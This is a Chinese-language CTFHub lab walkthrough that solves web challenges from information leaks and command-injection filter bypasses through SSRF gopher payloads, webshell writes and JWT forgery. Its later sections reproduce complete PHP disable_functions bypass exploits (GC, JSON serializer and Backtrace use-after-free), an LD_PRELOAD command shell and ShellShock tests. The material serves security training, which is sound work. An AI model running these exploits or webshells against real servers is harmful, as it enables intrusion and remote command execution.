CTFHUB技能树

  • HTTP协议
    • 请求树
    • 302跳转
    • Cookie
    • 基础认证
    • 响应包源代码
  • 信息泄露
    • 目录遍历
    • phpinfo
    • 备份文件下载
      • 网站源码
      • bak文件
      • vim缓存
      • .DS_Store
      • Git泄露
        • log
        • stash
        • index
      • SVN泄露
      • HG泄露
  • 密码口令
    • 弱口令
    • 默认口令
  • XSS
    • 反射型
  • RCE
    • eval执行
    • 文件包含
      • php://input
      • 读取源代码
      • 远程包含
    • 命令注入
      • 过滤cat
      • 过滤空格
      • 过滤目录分隔符
      • 过滤运算符
      • 综合过滤
    • 文件上传
    • ssrf
      • 内网访问
      • 伪协议读取文件
      • 端口扫描
      • POST请求
      • 上传文件
      • FASTCGI协议
      • Redis协议
      • URLbypass
      • 数字IP bypass
      • 302跳转 bypass
      • DNS重绑定 bypass
  • WEB进阶
    • Bypass disable_function
      • LD_PRELOAD
        • 方法2 现成的so(这个是免杀得哟)
      • ShellShock
      • Apache Mod CGI
      • PHP-FPM
      • GC UAF
        • Json Serializer UAF
        • Backtrace UAF
      • FFI扩展
    • JSON Web Token
      • 敏感信息泄露
      • 无签名
      • 弱密钥
      • 修改签名算法
    • linux
      • 动态加载器

HTTP协议

请求树



根据提示直接修改头即可

302跳转


直接重放获得302跳转,

Cookie


字面意思,

基础认证

简介:
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

附件提供了密码,很明显就是爆破


有了用户名,而且发现一个base加密的东西
解密看看

固定格式啊,
那么我们将密码本修改了



直接开跑

很nice一个都跑不出来

终于出来了,!!!!
== 重点,base的结果不能存在等于号==

响应包源代码


噢!抓包抓不到,他是一个纯前端

信息泄露

目录遍历


开始一通乱找

phpinfo


字面意思

备份文件下载

网站源码

import requestsurl = "http://challenge-b1d2b3af19e2c1e7.sandbox.ctfhub.com:10080/"li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:for j in li2:url_final = url + "/" + i + "." + jr = requests.get(url_final)print(str(r)+"+"+url_final)



众所周知,备份文件备份的都是文件,那么我们直接访问一下txt文件

bak文件


因为提示在bak文件中,那么我们直接访问bak文件


得到

vim缓存


swp文件:
非正常关闭vim就会生成swp文件

因为是隐藏文件,记得加点

修改了名字
我们vim index.php



点击修复即可

.DS_Store



访问.Ds_Store就能下载文件

放入linux 中,直接读取

访问即可

Git泄露

log



我们使用githack


在那个新建的目录下,git log
查看git的历史记录

我门所在的是remove flag
但是我们需要回到add flag

直接git diff

stash

基本同上

index

基本同上

SVN泄露



使用工具进行添加
当然这个不好使
推荐下面这个

https://github.com/kost/dvcs-ripper

进行回复,ctrl+H显示隐藏文件夹

使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份

HG泄露

我们同样使用上面那个工具


执行命令

在当前文件夹下,搜索带有flag字符串的(包括文件内)
发现flag文件,那么对应服务器打开

密码口令

弱口令


掏出珍藏的top100

emm还没跑,就有了
123456

默认口令


打开是一个亿邮,我们百度,初始密码



最后这个成功了,

XSS

反射型


在这里输入,他会在下面显示


我们使用xss平台


去访问这个连接,就有了

RCE

eval执行


啊这熟悉的php代码审计!

当场 whoami

file_put_contents写入文件试试

可以解析,写一句话木马


噢,这个马有点问题= =
我们还是读文件吧


记得是绝对路径哟

文件包含

他还送了个一句话



将一句话包含在这个php文件中就行了呀
我们来看一下,file get参数不为空,字符串中没有flag,
即可包含文件

包含后直接连接

php://input


噢~他不送我们shell了


0到6字符串强等于php://才能文件包含

读文件试一下,发现可以

直接一波读文件

php://input
相当于他去接收post的值,那么常规思路即可

读取源代码


提示,flag在/flag中,那么我们代码审计一波

好像跟之前的没啥区别
php://直接读文件

远程包含


我们可以看到他的远程包含开启了

他限定,get中没有flag,不能为空
那么我们远程包含自己服务器上面的一个木马即可

当然直接包含百度是可以的
我们在服务器上面写一个文件

然后直接进行远程包含

直接包含

命令注入



ping 一下本地试试

一个| 即可

ls 发现文件
cat直接读取

过滤cat



我们使用tac即可

过滤空格

ls发现文件



这么多都可以

过滤目录分隔符


ls -al 怀疑他是一个目录


使用分号进行堆叠

过滤运算符



过滤了且运算,或运算,但是分号仍然可以使用

直接读取

综合过滤



首先代码审计一波
get的ip值不能为空,并且赋值给$ip
匹配一堆运算,匹配了cat flag ctfhub等关键字
(| & ;还有空格)
那么,找到之前的笔记,RCE的绕过

命令分隔符
linux中:

-%0a(回车) %0d(换行)
-;
-&
-|
-&&
-||

windows中:

-%0a
-&
-|
-%1a(作为.bat文件中的命令分隔符)

这个题目的绕过的话,可以考虑16进制或者拼接,
或者两个单引号,两个双引号

127.0.0.1%0acd${IFS}fl''ag_is_here%0aca''t${IFS}*#

127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}*#
$* 猜测为空,所以可行
任何没定义的都算空,(就不输出)

文件上传

见之前的博客

ssrf

整个知识点,在之前写的,ssrflab中有讲解

内网访问


直接打开访问即可

伪协议读取文件


访问百度是可行的

直接上伪协议

file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)

端口扫描


提示,端口8000-9000
端口扫描一般使用dict://

抓包修改即可

改成数字

找到8460端口,访问数据不同,然后我们换成http
即可

POST请求



我们访问flag.php 会给我们一个上传框,同时给了我们key

它提示的302不能访问呀

看到上一个框框,form post 带着key 访问呢
直接访问,flag.php 是提醒我们从内网才可以


带着key试试

噢!不能访问
nice
我们从新回去,找一下有几个页面
index.php flag.php

从内部访问,我们需要使用gopher 协议,去帮我们提交带key的请求
查看一下源码



gopher包需要精心构造才可以

    Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

这里是找的大佬的payload生成
注意 content-length一定要和key一样

import urllib.parsepayload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=7a63523334ee824db18990ffc181d204
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码


当然 burp本身已经算出来了


上传文件



直奔主题,直接访问,查看到需要上传文件

查看一下源码
我们把它的提交按钮给他补上


当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中

FASTCGI协议


他的提示文章在这里
https://blog.csdn.net/mysteryflower/article/details/94386461

我们使用gopherus工具

利用条件:libcurl版本>=7.45.0PHP-FPM监听端口PHP-FPM版本 >= 5.3.3知道服务器上任意一个php文件的绝对路径`

用来写shell

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php`


需要将生成的进行一次编码,因为get本身进行一次url解码



Redis协议


攻击redis的方式很多,见之前的讲解,
写入ssh公钥、读文件、写文件、反弹shell。很多,

我们还是使用上面的工具
我们先来phpshell

这个我们不需要进行编码

URLbypass



我们使用xip.io发现被ban了

发现成功读取

之前的博客中有讲解

数字IP bypass


ban了 十进制,我们可以十六进制,八进制呀
二进制
同样在之前的文章中有讲解


302跳转 bypass


我们发现,不能进行http的访问


但是127.0.0.1的可以访问


说明后端逻辑是

如果访问为带有http时,不允许
如果没有则跳转到该字符串,

我访问自己的服务器,发现可以
,验证了如上说法

DNS重绑定 bypass

验证工具

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=

我们在这里,将两个ip解析到一个url上面



,当我们使用这个url的时候,就有概率访问到127.0.0.1 从而绕开IP的限制
(或者说,绕开,限定的ip)

一直点,总有一次会解析到127.0.0.1

WEB进阶

Bypass disable_function

LD_PRELOAD

预加载绕过,我们可以使用蚁剑插件,或者网上的so文件,


打开
我们先连接蚁剑




执行命令发现是不可以的,因为有限制
使用插件绕过

生成了这个文件
我们连接他

即可rce


cat权限不够,我们试试tac 当然如果不行的话,我们还可以尝试more之类的读取命令

方法2 现成的so(这个是免杀得哟)

<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_GET["cmd"];$out_path = $_GET["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_GET["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>


需要配合 so文件,首先全部上传

emm,沙箱环境没有实现,但是之前是可以使用的。(不知道什么问题)

ShellShock

ShellShock,破壳漏洞,出现于2014年
可以通过以下命令来判断是否存在这个漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果出现vulnerable说明存在


bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样

但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}‘后停止,也就是说定义在函数体外shell命令也会执行,所以env x=’() { :;}; echo vulnerable’ 输出了vulnerable。


如上是error函数,的用法

首先蚁剑连接,如果有时候连接不上,可以转换连接加密解密方式看看


意外收获,直接使用自带插件绕过即可rce 为什么需要用tac? 因为cat 所属的是www-data 没有权限去读取,有一部分的权限可能就仍然是bash的权限。

回归正题

正常被ban了无法进行命令执行
我们手工传入shell.php 和 test.php
进行加载环境变量
error_log和mail两个函数,都可以使用,(为了避免ban掉一个)

<?php@eval($_REQUEST['ant']);putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");error_log("admin",1);//mail("admin@localhost","","","","");
?>


然后我们访问shell.php


这时候已经生成了。
参考自这里
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2

Apache Mod CGI


进来以后我们首先,连shell


首先如果使用插件,很容易


该绕过的条件

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

这些就是他蚁剑写入的


任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant后缀的文件作为cgi脚本执行

PHP-FPM

预先知识

Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写


它本身是在内网段的,通过nginx进行反向代理,才能进行通讯

连接一手

通讯地址我们选择本地的 (相当于他服务器的本地),


连接我们的代理php
直接命令行

GC UAF

exp出自这里

本篇之后就涉及到了溢出,由于本人资历尚浅,无法分析根源漏洞,只能使用蚁剑工具/现成exp进行推进。

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

<?php# Author: https://github.com/mm0r1pwn($_POST["pass"]);function pwn($cmd) {global $abc, $helper;function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}class ryat {var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}}class Helper {public $a, $b, $c, $d;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if you get segfaults$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_repeat('A', 79);$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out = unserialize($poc);gc_collect_cycles();$v = [];$v[0] = ptr2str(0, 79);unset($v);$abc = $out[2][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}


Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

<?php# Author: https://github.com/mm0r1$cmd = $_POST["pass"];$n_alloc = 10; # increase this value if you get segfaultsclass MySplFixedArray extends SplFixedArray {public static $leak;
}class Z implements JsonSerializable {public function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}public function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}public function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}# unable to leak ro segmentspublic function leak1($addr) {global $spl1;$this->write($this->abc, 8, $addr - 0x10);return strlen(get_class($spl1));}# the real dealpublic function leak2($addr, $p = 0, $s = 8) {global $spl1, $fake_tbl_off;# fake reference zval$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)$leak = strlen($spl1::$leak);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}public function parse_elf($base) {$e_type = $this->leak2($base, 0x10, 2);$e_phoff = $this->leak2($base, 0x20);$e_phentsize = $this->leak2($base, 0x36, 2);$e_phnum = $this->leak2($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = $this->leak2($header, 0, 4);$p_flags = $this->leak2($header, 4, 4);$p_vaddr = $this->leak2($header, 0x10);$p_memsz = $this->leak2($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}public function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = $this->leak2($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = $this->leak2($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = $this->leak2($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = $this->leak2($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}public function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = $this->leak2($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}public function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = $this->leak2($addr);$f_name = $this->leak2($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn $this->leak2($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}public function jsonSerialize() {global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = new DateInterval('PT1S');$room = [];for($i = 0; $i < $n_alloc; $i++)$room[] = new Z();$_protector = $this->ptr2str(0, 78);$this->abc = $this->ptr2str(0, 79);$p = new DateInterval('PT1S');unset($y[0]);unset($p);$protector = ".$_protector";$x = new DateInterval('PT1S');$x->d = 0x2000;$x->h = 0xdeadbeef;# $this->abc is now of size 0x2000if($this->str2ptr($this->abc) != 0xdeadbeef) {die('UAF failed.');}$spl1 = new MySplFixedArray();$spl2 = new MySplFixedArray();# some leaks$class_entry = $this->str2ptr($this->abc, 0x120);$handlers = $this->str2ptr($this->abc, 0x128);$php_heap = $this->str2ptr($this->abc, 0x1a8);$abc_addr = $php_heap - 0x218;# create a fake class_entry$fake_obj = $abc_addr;$this->write($this->abc, 0, 2); # type$this->write($this->abc, 0x120, $abc_addr); # fake class_entry# copy some of class_entry definitionfor($i = 0; $i < 16; $i++) {$this->write($this->abc, 0x10 + $i * 8, $this->leak1($class_entry + 0x10 + $i * 8));}# fake static members table$fake_tbl_off = 0x70 * 4 - 16;$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);# fake zval_reference$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)# look for binary base$binary_leak = $this->leak2($handlers + 0x10);if(!($base = $this->get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}# parse elf headerif(!($elf = $this->parse_elf($base))) {die("Couldn't parse ELF");}# get basic_functions addressif(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}# find system entryif(!($zif_system = $this->get_system($basic_funcs))) {die("Couldn't get zif_system address");}# copy hashtable offsetGet bucket$fake_bkt_off = 0x70 * 5 - 16;$function_data = $this->str2ptr($this->abc, 0x50);for($i = 0; $i < 4; $i++) {$this->write($this->abc, $fake_bkt_off + $i * 8, $this->leak2($function_data + 0x40 * 4, $i * 8));}# create a fake bucket$fake_bkt_addr = $abc_addr + $fake_bkt_off;$this->write($this->abc, 0x50, $fake_bkt_addr);for($i = 0; $i < 3; $i++) {$this->write($this->abc, 0x58 + $i * 4, 1, 4);}# copy bucket zval$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);for($i = 0; $i < 12; $i++) {$this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, $this->leak2($function_zval, $i * 8));}# pwn$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);$spl1->offsetGet($cmd);exit();}
}$y = [new Z()];
json_encode([&$y]);

通过蚁剑或者PHP的file_put_contents写入之后,运行即可执行命令

Backtrace UAF

影响版本是7.0-7.4

<?php# Author: https://github.com/mm0r1pwn($_POST["pass"]);function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle(str_repeat('A', 79));$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle(str_repeat('A', 79));trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}

FFI扩展

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>

FFI::cdef用于说明函数的原型,然后把参数传进去。


JSON Web Token

敏感信息泄露



我们直接登录一手

JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。

JWT 的结构 :

  • 由三部分构成:
  • Header.Payload.Signature
  • 头部.负载.签名
JWT大概就是这种形式:
头部:eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.
签名:jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI

它是一个很长的字符串,中间用点 .分隔成三个部分。

那么我们分开解密

无签名



我们登录的时候发现了这个

传值发现了这个
我们解码看看
第一部分

第二部分

结合我们刚刚提醒,需要admin才可以,我们将guets改为admin
同时

从题目提示可以知道:一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。


guest 改为admin 然后拼接

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiwicm9sZSI6ImFkbWluIn0.

弱密钥


很明显需要我们进行爆破

我们去github项目
这里
把他安装到linux 里面去
我们先放到
https://jwt.io/
这里在线解密一下

我们首先下载



按照教程进行编译
进行使用,这里我环境开了两次,所以我密钥可能不同了

好了,这次是新的
安装 jwt python的

#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertoolsdef test_HS256():key = "test"encoded = jwt.encode({"some": "payload"}, key, algorithm="HS256")print(encoded)try:# print(jwt.decode(encoded,"test",algorithms="HS256"))print(jwt.decode(encoded, "tes", algorithms="HS256"))except Exception as e:print(e)print("error")exit()def brute_HS256(encode):keys = string.ascii_lowercase# print(keys)for i in itertools.product(keys, repeat=4):key = "".join(i)print("[--]test ", key)try:print("[****]key:", key, jwt.decode(encode, key, algorithms="HS256"))breakexcept Exception as e:pass# print(key)if __name__ == '__main__':# test_HS256()encode = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"brute_HS256(encode)# print(jwt.encode({'username': 